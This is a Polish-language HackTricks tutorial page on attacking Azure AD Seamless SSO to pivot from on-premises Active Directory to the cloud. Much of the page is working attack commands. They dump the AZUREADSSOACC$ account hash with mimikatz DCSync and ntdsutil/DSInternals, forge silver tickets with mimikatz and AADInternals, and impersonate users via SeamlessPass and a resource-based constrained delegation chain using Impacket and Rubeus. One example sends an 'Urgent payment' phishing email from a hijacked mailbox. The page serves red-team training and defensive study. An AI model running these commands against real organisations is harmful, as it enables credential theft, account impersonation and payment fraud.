Az - Seamless SSO

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podstawowe informacje

Z dokumentacji: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatycznie loguje użytkowników, gdy są na swoich urządzeniach firmowych podłączonych do sieci firmowej. Po włączeniu, użytkownicy nie muszą wpisywać swoich haseł, aby zalogować się do Azure AD, a zazwyczaj nawet wpisywać swoich nazw użytkowników. Ta funkcja zapewnia użytkownikom łatwy dostęp do aplikacji w chmurze bez potrzeby posiadania dodatkowych komponentów lokalnych.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Zasadniczo Azure AD Seamless SSO loguje użytkowników, gdy są na komputerze dołączonym do lokalnej domeny.

Jest wspierane zarówno przez PHS (Synchronizacja hasła), jak i PTA (Uwierzytelnianie przechodnie).

SSO na komputerze stacjonarnym używa Kerberos do uwierzytelniania. Po skonfigurowaniu, Azure AD Connect tworzy konto komputera o nazwie AZUREADSSOACC$ w lokalnym AD. Hasło konta AZUREADSSOACC$ jest wysyłane w postaci niezaszyfrowanej do Entra ID podczas konfiguracji.

Bilety Kerberosszyfrowane przy użyciu NTHash (MD4) hasła, a Entra ID używa wysłanego hasła do odszyfrowania biletów.

Entra ID udostępnia punkt końcowy (https://autologon.microsoftazuread-sso.com), który akceptuje bilety Kerberos. Przeglądarka komputera dołączonego do domeny przesyła bilety do tego punktu końcowego w celu SSO.

Enumeracja

# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()

Pivoting: On-prem -> cloud

Warning

Najważniejszą rzeczą, którą należy wiedzieć o tym ataku, jest to, że posiadanie TGT lub konkretnego TGS użytkownika, który jest zsynchronizowany z Entra ID, wystarczy, aby uzyskać dostęp do zasobów w chmurze.
Dzieje się tak, ponieważ to bilet pozwala użytkownikowi zalogować się do chmury.

Aby uzyskać bilet TGS, atakujący musi mieć jeden z następujących elementów:

  • TGS skompromitowanego użytkownika: Jeśli skompromitujesz sesję użytkownika z biletem do HTTP/autologon.microsoftazuread-sso.com w pamięci, możesz go użyć do uzyskania dostępu do zasobów w chmurze.
  • TGT skompromitowanego użytkownika: Nawet jeśli go nie masz, ale użytkownik został skompromitowany, możesz go uzyskać, używając sztuczki z delegowaniem fałszywego TGT, zaimplementowanej w wielu narzędziach, takich jak Kekeo i Rubeus.
  • Hash lub hasło skompromitowanego użytkownika: SeamlessPass skomunikuje się z kontrolerem domeny z tymi informacjami, aby wygenerować TGT, a następnie TGS.
  • Złoty bilet: Jeśli masz klucz KRBTGT, możesz stworzyć TGT, którego potrzebujesz dla zaatakowanego użytkownika.
  • Hash lub hasło konta AZUREADSSOACC$: Z tymi informacjami i identyfikatorem bezpieczeństwa (SID) użytkownika możliwe jest stworzenie biletu usługi i uwierzytelnienie w chmurze (jak wykonano w poprzedniej metodzie).

SeamlessPass

Jak wyjaśniono w tym wpisie na blogu, posiadanie któregokolwiek z wcześniejszych wymagań sprawia, że bardzo łatwo jest po prostu użyć narzędzia SeamlessPass do uzyskania dostępu do zasobów w chmurze jako skompromitowany użytkownik lub jako dowolny użytkownik, jeśli masz hash lub hasło konta AZUREADSSOACC$.

Na koniec, z TGT możliwe jest użycie narzędzia SeamlessPass z:

# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs

Dalsze informacje na temat konfiguracji Firefoksa do pracy z seamless SSO można znaleźć w tym wpisie na blogu.

Uzyskiwanie hashy konta AZUREADSSOACC$

Hasło użytkownika AZUREADSSOACC$ nigdy się nie zmienia. Dlatego administrator domeny mógłby skompromitować hash tego konta, a następnie użyć go do tworzenia srebrnych biletów do połączenia z Azure z dowolnym użytkownikiem on-prem synchronizowanym:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Note

Z aktualnymi informacjami możesz po prostu użyć narzędzia SeamlessPass, jak wcześniej wskazano, aby uzyskać tokeny azure i entraid dla dowolnego użytkownika w domenie. Możesz również użyć wcześniejszych technik (i innych), aby uzyskać hash hasła ofiary, którą chcesz udawać, zamiast konta AZUREADSSOACC$.

Creating Silver Tickets

Z hashem możesz teraz generować srebrne bilety:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Używanie Silver Tickets z Firefox

Aby wykorzystać srebrny bilet, należy wykonać następujące kroki:

  1. Uruchom przeglądarkę: Należy uruchomić Mozilla Firefox.
  2. Skonfiguruj przeglądarkę:
  • Przejdź do about:config.
  • Ustaw preferencję dla network.negotiate-auth.trusted-uris na określoną wartość:
  • https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  • Przejdź do Ustawienia Firefox > Wyszukaj Zezwól na jednolite logowanie Windows dla kont Microsoft, służbowych i szkolnych i włącz to.
  1. Dostęp do aplikacji internetowej:
  • Odwiedź aplikację internetową, która jest zintegrowana z domeną AAD organizacji. Typowym przykładem jest login.microsoftonline.com.
  1. Proces uwierzytelniania:
  • Na ekranie logowania należy wpisać nazwę użytkownika, pozostawiając pole hasła puste.
  • Aby kontynuować, naciśnij TAB lub ENTER.

Warning

To nie omija MFA, jeśli jest włączone dla użytkownika.

On-prem -> Cloud za pomocą Ograniczonej Delegacji Opartej na Zasobach

Aby przeprowadzić atak, potrzebne są:

  • WriteDACL / GenericWrite nad AZUREADSSOACC$
  • Konto komputerowe, które kontrolujesz (hash i hasło) - Możesz stworzyć jedno
  1. Krok 1 – Dodaj swoje własne konto komputerowe
  • Tworzy ATTACKBOX$ i drukuje jego SID/NTLM hash. Każdy użytkownik domeny może to zrobić, gdy MachineAccountQuota > 0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
  1. Krok 2 – Przyznaj RBCD na AZUREADSSOACC$ - Zapisuje SID twojej maszyny w msDS-AllowedToActOnBehalfOfOtherIdentity.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$

# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
  1. Krok 3 – Sfałszuj TGS dla dowolnego użytkownika (np. alice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

# Produces alice.autologon.ccache

#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt

Możesz teraz używać TGS do uzyskiwania dostępu do zasobów Azure jako podszywany użytkownik.

Tworzenie biletów Kerberos dla użytkowników tylko w chmurze

Jeśli administratorzy Active Directory mają dostęp do Azure AD Connect, mogą ustawić SID dla dowolnego użytkownika w chmurze. W ten sposób bilety Kerberos mogą być tworzone również dla użytkowników tylko w chmurze. Jedynym wymaganiem jest, aby SID był poprawnym SID.

[!OSTRZEŻENIE] Zmiana SID użytkowników administracyjnych tylko w chmurze jest teraz zablokowana przez Microsoft.
Aby uzyskać więcej informacji, sprawdź https://aadinternals.com/post/on-prem_admin/

Odniesienia

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks